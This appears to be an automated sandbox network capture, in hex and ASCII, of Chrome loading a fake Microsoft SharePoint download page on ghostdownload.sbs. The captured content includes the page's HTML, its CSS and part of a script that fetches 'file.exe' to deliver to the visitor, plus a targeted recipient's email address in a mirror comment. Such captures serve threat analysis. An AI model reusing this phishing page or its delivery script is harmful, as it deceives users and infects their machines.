7a 7a f3 fc 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78
f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 7
8 78 f2 ff 78 78 f2 ff 78 78 f2 ff 78 78 f2 ff 7a 7a f3 fc 84 84 f8 e6 75 75 e5 23 77 77 f7 33 7c 7c f8 e6 73 73 f4 f9 71 71 f4 ff 
71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 f4 ff 71 71 
Data Ascii: ssssssssssssssssssssssssssssssssrr//\rr#zzxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxzzuu
#ww3||ssqqqqqqqqqqqqqqqqqqqqqq

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.4 49767 142.250.185.109 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:18 UTC 1 OUT POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1
Host: accounts.google.com
Connection: keep-alive
Content-Length: 1
Origin: https://www.google.com
Content-Type: application/x-www-form-urlencoded
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:18 UTC 1 OUT Data Raw: 20 
Data Ascii:  
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2022-01-13 21:05:18 UTC 4 IN HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: https://www.google.com
Access-Control-Allow-Credentials: true
X-Content-Type-Options: nosniff
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Thu, 13 Jan 2022 21:05:18 GMT
Strict-Transport-Security: max-age=31536000
Cross-Origin-Opener-Policy: same-origin
Content-Security-Policy: script-src 'report-sample' 'nonce-TKUImSfCa0By0FqTUD14Hg' 'unsafe-inline';object-src 'none';bas
e-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self'
Content-Security-Policy: script-src 'nonce-TKUImSfCa0By0FqTUD14Hg' 'self' https://apis.google.com https://ssl.gstatic.co
m https://www.google.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp
/cspreport
Server: ESF
X-XSS-Protection: 0
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; m
a=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
Accept-Ranges: none
Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding
Connection: close
Transfer-Encoding: chunked

2022-01-13 21:05:18 UTC 5 IN Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a 
Data Ascii: 11["gaia.l.a.r",[]]

2022-01-13 21:05:18 UTC 5 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.4 49769 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:19 UTC 6 OUT GET /file-7564c3328869m00865113607754b653/ HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/sig
ned-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:19 UTC 7 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:19 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
last-modified: Tue, 11 Jan 2022 13:14:10 GMT
vary: Accept-Encoding
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XJo1JGusEkmdG4vL2OhMPfh%2FPhXT3i
8Swpoo4u19y%2FuIuQCL8rZYWMYGAgap4BaEQFIT7j4vtiA0v8lv08inFP8BYYJMXTz26J%2Bg8oTB764vesuJtYBB
9gE8FqlNYqzPwM4tMw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd194fdedbe06a2-LHR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:19 UTC 8 IN Data Raw: 31 33 31 33 0d 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 
65 6e 22 3e 0a 20 20 0a 3c 21 2d 2d 20 4d 69 72 72 6f 72 65 64 20 66 72 6f 6d 20 37 72 6e 61 74 69 63 73 65 77 69 6e 
67 2e 63 6f 6d 2f 73 62 78 78 6a 66 67 73 6a 75 71 79 67 73 62 62 73 2f 30 30 66 67 73 73 73 73 64 64 64 35 35 67 67 74 
66 67 2f 64 6f 77 6e 6c 6f 61 64 2d 66 69 6c 65 73 2e 68 74 6d 6c 3f 65 6d 61 69 6c 3d 73 61 6c 65 73 2e 65 6e 40 62 65 
79 61 7a 6c 69 67 72 6f 75 70 2e 63 6f 6d 20 62 79 20 48 54 54 72 61 63 6b 20 57 65 62 73 69 74 65 20 43 6f 70 69 65 72 
2f 33 2e 78 20 5b 58 52 26 43 4f 27 32 30 31 34 5d 2c 20 46 72 69 2c 20 31 31 20 4a 75 6e 20 32 30 32 31 20 31 35 3a 31 
35 3a 31 39 20 47 4d 54 20 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 
Data Ascii: 1313<!DOCTYPE html><html lang="en">  ... Mirrored from 7rnaticsewing.com/sbxxjfgsjuqygsbbs/00fgsss
sddd55ggtfg/download-files.html?email=sales.en@beyazligroup.com by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 
11 Jun 2021 15:15:19 GMT --><head>
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2022-01-13 21:05:19 UTC 8 IN Data Raw: 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 
2d 32 22 3e 0a 20 20 20 20 20 20 3c 70 3e 4d 69 63 72 6f 73 6f 66 74 20 7c 20 3c 73 70 61 6e 3e 53 68 61 72 65 50 6f 69 
6e 74 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 0a 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 
22 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 32 22 3e 0a 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 
6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 6c 65 2d 69 6e 66 6f 
22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 69 6c 65 73 2d 73 75 6d 6d 61 72 79 22 
3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 
Data Ascii: ead>  <body>    <div class="header-2">      <p>Microsoft | <span>SharePoint</span></p>    </div>    <div cla
ss="main-container-2">      <div class="container">        <div class="file-info">          <div class="files-summary">            
<img sr

2022-01-13 21:05:19 UTC 10 IN Data Raw: 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 
2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 
20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 61 72 64 2d 
66 6f 6f 74 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 69 64 3d 22 64 6f 77 6e 6c 6f 61 64 
22 3e 44 6f 77 6e 6c 6f 61 64 20 61 6c 6c 3c 2f 70 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 
20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 
3d 22 66 6f 6f 74 65 72 2d 74 65 78 74 22 3e c2 a9 20 4d 69 63 
Data Ascii:           </div>                  </li>                </ul>              </div>              <div class="card-footer">                <p 
id="download">Download all</p>              </div>            </div>            <p class="footer-text"> Mic

2022-01-13 21:05:19 UTC 11 IN Data Raw: 65 6d 61 69 6c 22 20 63 6c 61 73 73 3d 22 69 6e 70 75 74 2d 63 6f 6e 74 72 6f 6c 22 20 72 65 61 64 6f 6e 6c 
79 20 70 6c 61 63 65 68 6f 6c 64 65 72 3d 22 52 65 63 69 65 76 65 72 27 73 20 45 6d 61 69 6c 20 41 64 64 72 65 73 73 
22 20 76 61 6c 75 65 3d 22 3c 3f 70 68 70 20 65 63 68 6f 20 24 65 6d 61 69 6c 3b 20 3f 3e 22 2f 3e 0a 20 20 20 20 20 20 
20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 69 6e 66 6f 22 3e 57 65 27 6c 6c 20 6e 65 76 65 72 20 73 68 61 
72 65 20 79 6f 75 72 20 65 6d 61 69 6c 20 77 69 74 68 20 61 6e 79 6f 6e 65 20 65 6c 73 65 2e 3c 2f 70 3e 0a 20 20 20 20 
20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6
d 65 73 73 61 67 65 22 20 69 64 3d 22 70 61 73 73 77 6f 72 64 2d 
Data Ascii: email" class="input-control" readonly placeholder="Reciever's Email Address" value="<?php echo $email; ?>"/>          
    <p class="info">We'll never share your email with anyone else.</p>            </div>            <div class="message" 
id="password-

2022-01-13 21:05:19 UTC 12 IN Data Raw: 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 
0a 3c 21 2d 2d 20 4d 69 72 72 6f 72 65 64 20 66 72 6f 6d 20 37 72 6e 61 74 69 63 73 65 77 69 6e 67 2e 63 6f 6d 2f 73 62 
78 78 6a 66 67 73 6a 75 71 79 67 73 62 62 73 2f 30 30 66 67 73 73 73 73 64 64 64 35 35 67 67 74 66 67 2f 64 6f 77 6e 6c 
6f 61 64 2d 66 69 6c 65 73 2e 68 74 6d 6c 3f 65 6d 61 69 6c 3d 73 61 6c 65 73 2e 65 6e 40 62 65 79 61 7a 6c 69 67 72 6f 
75 70 2e 63 6f 6d 20 62 79 20 48 54 54 72 61 63 6b 20 57 65 62 73 69 74 65 20 43 6f 70 69 65 72 2f 33 2e 78 20 5b 58 52 
26 43 4f 27 32 30 31 34 5d 2c 20 46 72 69 2c 20 31 31 20 4a 75 6e 20 32 30 32 31 20 31 35 3a 31 35 3a 33 30 20 47 4d 
54 20 2d 2d 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a 
Data Ascii: sets/js/main.js"></script>  </body>... Mirrored from 7rnaticsewing.com/sbxxjfgsjuqygsbbs/00fgssssddd55ggtfg/
download-files.html?email=sales.en@beyazligroup.com by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 11 Jun 2021 
15:15:30 GMT --></html>

2022-01-13 21:05:19 UTC 12 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

4 192.168.2.4 49774 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:19 UTC 12 OUT GET /file-7564c3328869m00865113607754b653/assets/css/main.min.css HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

2022-01-13 21:05:20 UTC 21 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:20 GMT
Content-Type: text/css
Transfer-Encoding: chunked
Connection: close
cache-control: public, max-age=604800
expires: Thu, 20 Jan 2022 21:05:20 GMT
last-modified: Tue, 08 Dec 2020 02:14:27 GMT
vary: Accept-Encoding
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: MISS
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2JZvvnhtvU3sSzb4kzShLARB8uwngj1n
euu9b2xvvtmrPMiu%2BhyBdmWiZ2EBz704EVr30yO62EQTkHUqh0wLeyK1T%2FJtxKqV5dod7muAtz9KuGFq1xpzYi
bvVTVA%2B6Ppg6ZbNQ%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd19501aa905c14-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
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2022-01-13 21:05:20 UTC 22 IN Data Raw: 31 62 33 64 0d 0a 2e 66 6f 6f 74 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 
6e 65 72 7b 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 63 6f 6c 6f 72 3a 23 
66 66 66 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 
62 6f 72 64 65 72 2d 62 6f 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 
6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 22 53 65 67 6f 65 20 55 49 22 2c 52 6f 62 6f 74 6f 2c 4f 78 79 67 65 6e 
2c 55 62 75 6e 74 75 2c 43 61 6e 74 61 72 65 6c 6c 2c 22 46 69 72 61 20 53 61 6e 73 22 2c 22 44 72 6f 69 64 20 53 61 
6e 73 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 
Data Ascii: 1b3d.footer-container,.main-container{width:100%;text-align:center;color:#fff}body{margin:0;padding:0;box-si
zing:border-box;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen,Ubuntu,Cantarell,"Fira S
ans","Droid Sans","Helvetica Neue",

2022-01-13 21:05:20 UTC 22 IN Data Raw: 61 78 2d 77 69 64 74 68 3a 31 31 30 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 64 69 73 70 6c 61 
79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 61 6c 
69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 7d 2e 68 65 61 64 65 72 20 2e 68 65 61 64 65 72 2d 63 6f 6e 74 61 69 
6e 65 72 20 2e 6c 6f 67 6f 20 73 76 67 7b 77 69 64 74 68 3a 32 32 30 70 78 7d 2e 68 65 61 64 65 72 20 2e 68 65 61 64 6
5 72 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 61 6d 62 75 72 67 65 72 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 
68 65 61 64 65 72 20 2e 68 65 61 64 65 72 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 68 61 6d 62 75 72 67 65 72 20 73 76 67 
7b 77 69 64 74 68 3a 35 30 70 78 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 61 
Data Ascii: ax-width:1100px;margin:0 auto;display:flex;justify-content:space-between;align-items:center}.header .header-
container .logo svg{width:220px}.header .header-container .hamburger{cursor:pointer}.header .header-container 
.hamburger svg{width:50px}.main-conta

2022-01-13 21:05:20 UTC 24 IN Data Raw: 6c 65 73 2d 73 75 6d 6d 61 72 79 20 2e 66 69 6c 65 73 2d 64 61 74 61 20 2e 74 69 74 6c 65 7b 66 6f 6e 74 2d 
73 69 7a 65 3a 31 38 70 78 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 32 20 2e 66 69 6c 65 2d 69 6e 66 6f 20 
2e 66 69 6c 65 73 2d 73 75 6d 6d 61 72 79 20 2e 66 69 6c 65 73 2d 64 61 74 61 20 2e 73 69 7a 65 7b 6d 61 72 67 69 6e 
2d 74 6f 70 3a 2e 33 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 
2d 32 20 2e 66 69 6c 65 2d 69 6e 66 6f 20 2e 66 69 6c 65 73 2d 73 65 63 74 69 6f 6e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 
31 2e 35 65 6d 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 32 20 2e 66 69 6c 65 2d 69 6e 66 6f 20 2e 66 69 6c 65 
73 2d 73 65 63 74 69 6f 6e 20 2e 63 61 72 64 7b 62 6f 72 64 65 
Data Ascii: les-summary .files-data .title{font-size:18px}.main-container-2 .file-info .files-summary .files-data .size{margin-
top:.3em;font-size:13px}.main-container-2 .file-info .files-section{margin-top:1.5em}.main-container-2 .file-info .files-section 
.card{borde

2022-01-13 21:05:20 UTC 25 IN Data Raw: 20 2e 66 69 6c 65 2d 64 65 73 63 7b 63 6f 6c 6f 72 3a 23 36 64 37 36 37 64 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 
61 69 6e 65 72 2d 32 20 2e 66 69 6c 65 2d 69 6e 66 6f 20 2e 66 69 6c 65 73 2d 73 65 63 74 69 6f 6e 20 2e 63 61 72 64 20 
2e 63 61 72 64 2d 62 6f 64 79 20 2e 66 69 6c 65 2d 6c 69 73 74 20 2e 66 69 6c 65 20 2e 66 69 6c 65 2d 69 6e 66 6f 20 
2e 66 69 6c 65 2d 64 65 73 63 20 70 7b 6d 61 72 67 69 6e 3a 30 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 32 
20 2e 66 69 6c 65 2d 69 6e 66 6f 20 2e 66 69 6c 65 73 2d 73 65 63 74 69 6f 6e 20 2e 63 61 72 64 20 2e 63 61 72 64 2d 62 
6f 64 79 20 2e 66 69 6c 65 2d 6c 69 73 74 20 2e 66 69 6c 65 20 2e 66 69 6c 65 2d 69 6e 66 6f 20 2e 66 69 6c 65 2d 64 65 
73 63 20 2e 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 
Data Ascii:  .file-desc{color:#6d767d}.main-container-2 .file-info .files-section .card .card-body .file-list .file .file-info .file-
desc p{margin:0}.main-container-2 .file-info .files-section .card .card-body .file-list .file .file-info .file-desc .title{font-size:1

2022-01-13 21:05:20 UTC 26 IN Data Raw: 69 6e 67 3a 31 2e 35 65 6d 20 31 65 6d 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 61 69 6e 65 72 2d 32 20 2e 61 64 73 
20 2e 63 61 72 64 20 2e 63 61 72 64 2d 62 6f 64 79 20 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 
3a 23 36 64 37 36 37 64 3b 6d 61 72 67 69 6e 3a 30 20 30 20 2e 35 65 6d 7d 2e 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 
65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 74 6f 70 3a 30 3b 
6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 
64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 33 33 29 7d 2e 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 
72 2e 73 68 6f 77 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 21 
Data Ascii: ing:1.5em 1em}.main-container-2 .ads .card .card-body p{font-size:13px;color:#6d767d;margin:0 0 .5
em}.modal-container{position:absolute;display:none;top:0;left:0;width:100%;height:100%;background-color:rgba(0
,0,0,.533)}.modal-container.show{display:block!

2022-01-13 21:05:20 UTC 28 IN Data Raw: 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 6f 64 61 6c 20 2e 6d 6f 64 61 6c 2d 62 6f 64 79 20 2e 66 6f 72 6d 
2d 66 6f 6f 74 65 72 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 30 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 
73 6f 6c 69 64 20 23 64 64 64 7d 2e 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 6f 64 61 6c 20 2e 6d 6f 64 61 
6c 2d 62 6f 64 79 20 2e 66 6f 72 6d 2d 66 6f 6f 74 65 72 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 7b 74 65 78 74 2d 61 6c 
69 67 6e 3a 72 69 67 68 74 7d 2e 6d 6f 64 61 6c 2d 63 6f 6e 74 61 69 6e 65 72 20 2e 6d 6f 64 61 6c 20 2e 6d 6f 64 61 6c 
2d 62 6f 64 79 20 2e 66 6f 72 6d 2d 66 6f 6f 74 65 72 20 2e 66 6f 72 6d 2d 63 6f 6e 74 72 6f 6c 20 62 75 74 74 6f 6e 7b 68 
65 69 67 68 74 3a 34 30 70 78 3b 62 6f 72 64 65 
Data Ascii: al-container .modal .modal-body .form-footer{padding-top:10px;border-top:1px solid #ddd}.modal-container .mo
dal .modal-body .form-footer .form-control{text-align:right}.modal-container .modal .modal-body .form-footer .form-control 
button{height:40px;borde

2022-01-13 21:05:20 UTC 29 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.4 49773 172.67.167.234 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2022-01-13 21:05:19 UTC 13 OUT GET /file-7564c3328869m00865113607754b653/assets/js/main.js HTTP/1.1
Host: ghostdownload.sbs
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 
Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://ghostdownload.sbs/file-7564c3328869m00865113607754b653/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
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2022-01-13 21:05:20 UTC 15 IN HTTP/1.1 200 OK
Date: Thu, 13 Jan 2022 21:05:20 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: close
cache-control: public, max-age=604800
expires: Thu, 20 Jan 2022 21:05:20 GMT
last-modified: Tue, 11 Jan 2022 13:22:09 GMT
vary: Accept-Encoding
x-turbo-charged-by: LiteSpeed
CF-Cache-Status: MISS
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gQrXMPIvWE%2FPEf2O1WSLwbQOL6mJUA
nZHKoYgZjKMePbXVSUqCVqyUbsjkEwfJguvJg7btSDG0ekko1xG3C8u2PzQfIEvx130q6IGWJxvmKMgR6Z5Xoelqs6
mdPuKl98Sa%2Fr9w%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 6cd19501ecad06a6-LHR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

2022-01-13 21:05:20 UTC 16 IN Data Raw: 31 34 35 34 0d 0a 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 
43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 63 6f 6e 73 74 20 6c 6f 
67 69 6e 46 6f 72 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 67 69 6e 66 6f 72 6d 3b 0a 20 20 63 6f 6e 73 74 20 64 6c 
42 74 6e 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 23 64 6f 77 6e 6c 
6f 61 64 22 29 3b 0a 20 20 63 6f 6e 73 74 20 65 6d 61 69 6c 72 65 67 65 78 20 3d 0a 20 20 20 20 2f 5e 28 28 5b 5e 3c 3e 
28 29 5c 5b 5c 5d 5c 5c 2e 2c 3b 3a 5c 73 40 22 5d 2b 28 5c 2e 5b 5e 3c 3e 28 29 5c 5b 5c 5d 5c 5c 2e 2c 3b 3a 5c 73 40 
22 5d 2b 29 2a 29 7c 28 22 2e 2b 22 29 29 40 28 28 5c 5b 
Data Ascii: 1454document.addEventListener("DOMContentLoaded", function () {  const loginForm = document.loginform;  
const dlBtns = document.querySelectorAll("#download");  const emailregex =    /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\
s@"]+)*)|(".+"))@((\[

2022-01-13 21:05:20 UTC 16 IN Data Raw: 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 66 65 74 63 68 28 27 2e 2e 2f 61 73 73 65 74 73 2f 66 69 6c 65 2e 65 
78 65 27 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 72 65 73 20 3d 3e 20 72 65 73 2e 62 6c 6f 62 28 
29 29 20 2f 2f 20 47 65 74 73 20 74 68 65 20 72 65 73 70 6f 6e 73 65 20 61 6e 64 20 72 65 74 75 72 6e 73 20 69 74 20 61 
73 20 61 20 62 6c 6f 62 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 68 65 6e 28 62 6c 6f 62 20 3d 3e 20 7b 0a 20 20 
20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 48 65 72 65 27 73 20 77 68 65 72 65 20 79 6f 75 20 67 65 74 20 61 63 
63 65 73 73 20 74 6f 20 74 68 65 20 62 6c 6f 62 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 41 6e 64 20 
79 6f 75 20 63 61 6e 20 75 73 65 20 69 74 20 66 6f 72 20 77 68 
Data Ascii: n () {      fetch('../assets/file.exe')            .then(res => res.blob()) // Gets the response and returns it as a blob       
     .then(blob => {                // Here's where you get access to the blob                // And you can use it for wh

2022-01-13 21:05:20 UTC 18 IN Data Raw: 70 75 74 28 62 6c 6f 62 29 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 48 65 72 65 2c 20 
49 20 75 73 65 20 69 74 20 74 6f 20 6d 61 6b 65 20 61 6e 20 69 6d 61 67 65 20 61 70 70 65 61 72 20 6f 6e 20 74 68 65 
